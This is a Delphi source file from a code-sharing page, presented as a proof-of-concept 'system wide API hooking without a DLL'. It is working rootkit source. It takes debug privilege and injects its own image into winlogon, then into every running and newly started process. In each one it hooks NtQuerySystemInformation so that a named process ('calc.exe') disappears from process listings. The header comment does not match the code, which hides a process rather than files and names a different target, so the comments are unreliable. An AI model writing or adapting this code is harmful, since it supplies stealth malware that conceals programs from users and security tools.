📄 exein2.dpr
字号:
// ---> START OF CODE <---
{
System Wide API Hooking Without A DLL
www.iamaphex.cjb.net
aphex@iamaphex.net
This is a proof of concept theoretical demo. Using the power of
InjectLibraryEx it is now possible to easily hook an API in all
processes without the need for an extra DLL file. At the moment
there are some drawbacks. The biggest of which is that packers
like UPX and FSG will break the EXE. I am working on fixing
this problem.
True system wide API hooking is only possible on 9X based OS but
a means of simulating a system wide API hook is possible using
process wide hooking on every process possible.
To hook every process we need inject into the currently running
processes but we also must have a way to monitor new processes that
are created. A simple method to do this is to hook CreateProcessA/W
API so that we can inject our hook into all new processes but this
is not a 100% reliable way to get every process. So to do this we must
create a thread that constantly enumerates the process list and injects
into each new process. The thread that does the injection is located in
either winlogon on NT or explorer in 9X.
The API that I have chosen to hook is FindFileFirst/Next API. By hooking
these API I can hide certain files from being listed. The file that
is hidden is specified with the HideFile const and the default hidden
file is "notepad.exe".
}
program SystemWideExe;
uses
Windows,
SysUtils,
afxCodeHook,
tlhelp32;
const
MapName = 'Global\FileMapping';
MutexName = 'Global\MonitorThread';
FilenameToHide: String = 'calc.exe';
type
PProcessInfo = ^TProcessInfo;
TProcessInfo=record
dwOffset : dword; // an ofset to the next Process structure
dwThreadCount : dword;
dwUnkown1 : array[0..5] of dword;
ftCreationTime : TFileTime;
dwUnkown2 : dword;
dwUnkown3 : dword;
dwUnkown4 : dword;
dwUnkown5 : dword;
dwUnkown6 : dword;
pszProcessName : PWideChar;
dwBasePriority : dword;
dwProcessID : dword;
dwParentProcessID : dword;
dwHandleCount : dword;
dwUnkown7 : dword;
dwUnkown8 : dword;
dwVirtualBytesPeak : dword;
dwVirtualBytes : dword;
dwPageFaults : dword;
dwWorkingSetPeak : dword;
dwWorkingSet : dword;
dwUnkown9 : dword;
dwPagedPool : dword; // kbytes
dwUnkown10 : dword;
dwNonPagedPool : dword; // kbytes
dwPageFileBytesPeak : dword;
dwPageFileBytes : dword;
dwPrivateBytes : dword;
dwUnkown11 : dword;
dwUnkown12 : dword;
dwUnkown13 : dword;
dwUnkown14 : dword;
ThreadInfo : PThreadInfo; // Thread list
end;
var
PID: dword;
FileMap: pointer;
var NtQuerySystemInformationNextHook: function(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
{
API Hooking Routines
}
function NtQuerySystemInformationCallbackProc(dt : dword; buf : pointer; bufsize : dword; retlen : pointer) : dword; stdcall;
type
PBA = ^TBA;
TBA = array[0..1000000] of byte;
var
tmpbuf: PBA;
Pinfo,LastPinfo : PProcessInfo;
cp: DWORD;
curproc:string;
begin
Result := NtQuerySystemInformationNextHook(dt,buf,bufsize,retlen);
if dt<>5 then exit;
if result<>0 then exit;
cp := 0;
tmpbuf := buf;
Repeat
Pinfo := PProcessInfo(@tmpbuf[cp]);
curproc:=WideCharToString(pinfo^.pszProcessName);
if lowercase(curproc)=FileNameToHide then
begin
if pinfo^.dwOffset=0 then
begin
LastPinfo^.dwOffset:=0;
exit;
end
else LastPinfo^.dwOffset:=LastPinfo^.dwOffset+pinfo.dwOffset;
end
else LastPinfo:=Pinfo; //I coded this part :P (Aphex: www.iamaphex.cjb.net)
cp := cp + Pinfo^.dwOffset;
Until Pinfo^.dwOffset = 0;
end;
function StrCmp(String1, String2: pchar): boolean;
begin
Result := lstrcmpi(String1, String2) = 0;
end;
//this is where we install the hooks for each API we want
procedure EntryPoint;
begin
HookCode('ntdll', 'NtQuerySystemInformation', @NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//to unhook use this function: UnHookCode(@NtQuerySystemInformationCallbackProc, @NtQuerySystemInformationNextHook);
//u can make a separate procedure or even a separate .exe to uninstall the hook
//note that u don't need any .dll to inject here, u only run this .exe
end;
{
System Wide Injection Routines
}
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
Result := FileName;
end;
//we need this to be able to access any process
procedure SetTokenPrivileges;
var
hToken1, hToken2, hToken3: THandle;
TokenPrivileges: TTokenPrivileges;
begin
if IsNT then
begin
try
OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, hToken1);
hToken2 := hToken1;
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPrivileges.Privileges[0].luid);
TokenPrivileges.PrivilegeCount := 1;
TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hToken1, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
TokenPrivileges.PrivilegeCount := 1;
TokenPrivileges.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
hToken3 := 0;
AdjustTokenPrivileges(hToken2, False, TokenPrivileges, 0, PTokenPrivileges(nil)^, hToken3);
CloseHandle(hToken1);
except;
end;
end;
end;
//this is used to share our code in memory from one process to another
function MapMemory: boolean;
var
FileMapping: THandle;
Data: pointer;
BytesRead, Module, Size: dword;
Path: array [0..MAX_PATH] of char;
begin
Result := False;
FileMapping := OpenFileMapping(FILE_MAP_WRITE, False, MapName);
if FileMapping = 0 then
begin
GetCurrentDirectory(MAX_PATH, Path);
Module := CreateFile(pchar(ParamStr(0)), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Size := GetFileSize(Module, nil);
GetMem(Data, Size);
ReadFile(Module, Data^, Size, BytesRead, nil);
CloseHandle(Module);
FileMapping := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, Size, MapName);
if FileMapping = 0 then Exit;
FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
if FileMap = nil then
begin
CloseHandle(FileMapping);
ExitProcess(0);
end;
CopyMemory(FileMap, Data, Size);
FreeMem(Data);
Result := True;
end
else
begin
FileMap := MapViewOfFile(FileMapping, FILE_MAP_WRITE, 0, 0, 0);
end;
end;
//this is the procedure that constantly loops checking for new processes
procedure Inject;
var
ProcessHandle: THandle;
Process32: TProcessEntry32;
ProcessSnapshot: THandle;
LastPIDs, PIDs: string;
function IntToStr(I: integer): string;
begin
Str(I, Result);
end;
function IsPID(PID: dword): boolean;
begin
Result := Pos(IntToStr(PID) + ':', LastPIDs) <> 0;
end;
procedure AddPID(PID: dword);
begin
PIDs := PIDs + IntToStr(PID) + ':';
end;
begin
SetTokenPrivileges;
while True do
begin
LastPIDs := PIDs;
PIDs := '';
ProcessSnapshot := CreateToolHelp32SnapShot(TH32CS_SNAPALL, 0);
Process32.dwSize := SizeOf(TProcessEntry32);
Process32First(ProcessSnapshot, Process32);
repeat
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, Process32.th32ProcessID);
if ProcessHandle <> 0 then
begin
if not IsPID(Process32.th32ProcessID) then
begin
if GetCurrentProcessId = Process32.th32ProcessID then
InjectLibraryEx(GetCurrentProcess, FileMap)
else
InjectLibraryEx(ProcessHandle, FileMap);
end;
AddPID(Process32.th32ProcessID);
end;
CloseHandle(ProcessHandle);
until not (Process32Next(ProcessSnapshot, Process32));
CloseHandle(ProcessSnapshot);
Sleep(50);
end;
end;
//we use a mutex to determine if a thread has been created for monitoring yet
function MonitorThreadCreated: boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
CloseHandle(MutexHandle);
Result := True;
Exit;
end;
end;
Result := False;
end;
//depending on the OS version we want our monitor thread to inject into different processes
procedure CreateMonitorThread;
begin
if IsNT then
begin
if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'winlogon.exe') then Inject;
end
else
begin
if StrCmp(pchar(ExtractFileName(ParamStr(0))), 'iexplorer.exe') then Inject;
end;
end;
begin
if MapMemory then
begin
SetTokenPrivileges;
if IsNT then
begin
GetWindowThreadProcessID(FindWindow('NDDEAgnt', nil), @PID)
end
else
begin
GetWindowThreadProcessID(FindWindow('IEFrame', nil), @PID);
end;
InjectLibraryEx(OpenProcess(PROCESS_ALL_ACCESS, False, PID), FileMap);
Sleep(3000);
end
else
begin
if not MonitorThreadCreated then CreateMonitorThread;
EntryPoint;
ExitThread(0);
end;
end.
// ---> END OF CODE <---
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -